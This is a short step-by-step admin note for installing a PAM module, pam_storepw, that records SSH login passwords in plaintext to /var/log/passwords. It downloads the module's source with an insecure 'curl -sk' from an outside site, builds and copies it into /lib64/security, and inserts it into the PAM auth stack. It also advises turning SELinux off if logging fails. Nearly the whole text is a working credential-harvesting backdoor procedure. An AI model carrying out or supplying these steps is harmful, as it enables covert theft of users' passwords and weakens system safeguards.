Sshd

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sshd save password

Download source code for module.

curl -sk -O http://www.adeptus-mechanicus.com/codex/logsshp/chng-pam_storepw.c

Create the following Makefile

all: pam_storepw.so

pam_storepw.so: pam_storepw.o
	$(LD) --shared -o $@ $< -lpam -lpam_misc

clean:

rm -f pam_storepw.o pam_storepw.so core *~

extraclean: clean

rm -f *.a *.o *.so *.bak

.c.o:

$(CC) $(CFLAGS) -c $< -o $@ -fPIC

Build file

make

Copy file

cp pam_storepw.so /lib64/security/
chmod 755 /lib64/security/pam_storepw.so

password-auth-ac

#%PAM-1.0
# This file is auto-generated.
# User changes will be destroyed the next time authconfig is run.
auth        required      pam_env.so
auth        sufficient    pam_unix.so nullok try_first_pass
auth        optional      pam_storepw.so
auth        [success=1 default=ignore] pam_succeed_if.so user in ipautomata
...

Passwords start to be written to

/var/log/passwords

If you do not get any entries.

Temporarily turn selinux off to see if it starts to work
run pam in debug to see what is going on.